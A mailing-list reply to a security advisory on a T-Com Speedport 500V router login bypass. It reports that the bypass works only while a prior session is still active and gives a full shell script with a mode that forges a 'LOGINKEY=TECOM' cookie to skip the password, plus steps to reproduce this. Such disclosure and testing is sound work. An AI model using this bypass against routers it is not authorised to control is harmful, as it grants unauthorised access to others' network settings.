Re: Virginity Security Advisory 2007-001 : T-Com Speedport 500V Login bypass
Hi,
I tried to use the security hole to speed up my control script for the
Speedport 500V Firmware 1.31 under Linux. Goal was to spare the login
request, which takes lots of seconds. But it does not work as expected.
The router remembers the login state. Access without password can only
be gained when the router (correctly) thinks I would still be logged in
from a previous session.
Thus, it seems to me that the security hole is less dangerous - just
always logout from the router. But I don't know whether all remote
control programs perform such logouts, and I did not try to access the
router from different computers, so I don't know whether the router
remembers _which_ computer is logged in.
If you want to reproduce my effects, do the following:
Save the script below to a file named Speedport500V.sh. Edit it and set
correct ADDR and set DO_LOGIN_LOGOUT=0 (thereby the password is not
required).
Now open a browser and login to the router.
Then, in a shell, say:
./Speedport500V.sh status
The output should be 'connected' or 'disconnected' depending on the
connection state. If the output is 'unknown' something went wrong.
Now do one of the following:
- Go back to the browser on logout from the router.
- Wait for a long time (session time-out).
- Switch the router off and on.
Then try the above command again. It should say 'unknown' now, which
means that the access without password has been denied.
Now edit the script again, set correct PASSWORD and set
DO_LOGIN_LOGOUT=1. The script should work always now. Open a browser
and login to the router. Call the script once. Now try to navigate in
the open browser session - it will ask for the password, because the
script call has closed the session.
Here comes the script:
#!/bin/sh
ADDR="192.168.2.1"
PASSWORD="0000"
DO_LOGIN_LOGOUT=1
if (( $# != 1 )) ; then
echo "Usage: $0 connect|disconnect|status"
exit 1
fi
MY_PID=$$
COOKIE_FILE="/tmp/Speedport500V.cookie.$MY_PID"
STATUS_FILE="/tmp/Speedport500V.status.$MY_PID"
# Login
if [[ "$DO_LOGIN_LOGOUT" == "1" ]] ; then
wget \
-q \
--save-cookies "$COOKIE_FILE"\
--keep-session-cookies\
-O /dev/null \
--post-data "P1=$PASSWORD"\
"http://$ADDR/start.login"
else
echo -e "$ADDR\tFALSE\t/\tFALSE\t0\tLOGINKEY\tTECOM" > "$COOKIE_FILE"
fi
# Request
case "$1" in
(connect)
wget \
-q \
--load-cookies "$COOKIE_FILE"\
-O /dev/null \
"http://$ADDR/pppctl.cmd?action=1"
;;
(disconnect)
wget \
-q \
--load-cookies "$COOKIE_FILE"\
-O /dev/null \
"http://$ADDR/pppctl.cmd?action=0"
;;
(status)
wget \
-q \
--load-cookies "$COOKIE_FILE"\
-O "$STATUS_FILE" \
"http://$ADDR/hcti_statoview.htm"
if grep -q "var wan_status = 'Getrennt';" "$STATUS_FILE" ; then
echo disconnected
elif grep -q "var wan_status = 'Verbunden';" "$STATUS_FILE" ; then
echo connected
else
echo unknown
fi
rm "$STATUS_FILE"
;;
(*)
echo "ERROR: illegal argument"
;;
esac
# Logout
if [[ "$DO_LOGIN_LOGOUT" == "1" ]] ; then
wget \
-q \
--load-cookies "$COOKIE_FILE"\
-O /dev/null \
"http://$ADDR/logout.cmd"
fi
rm "$COOKIE_FILE"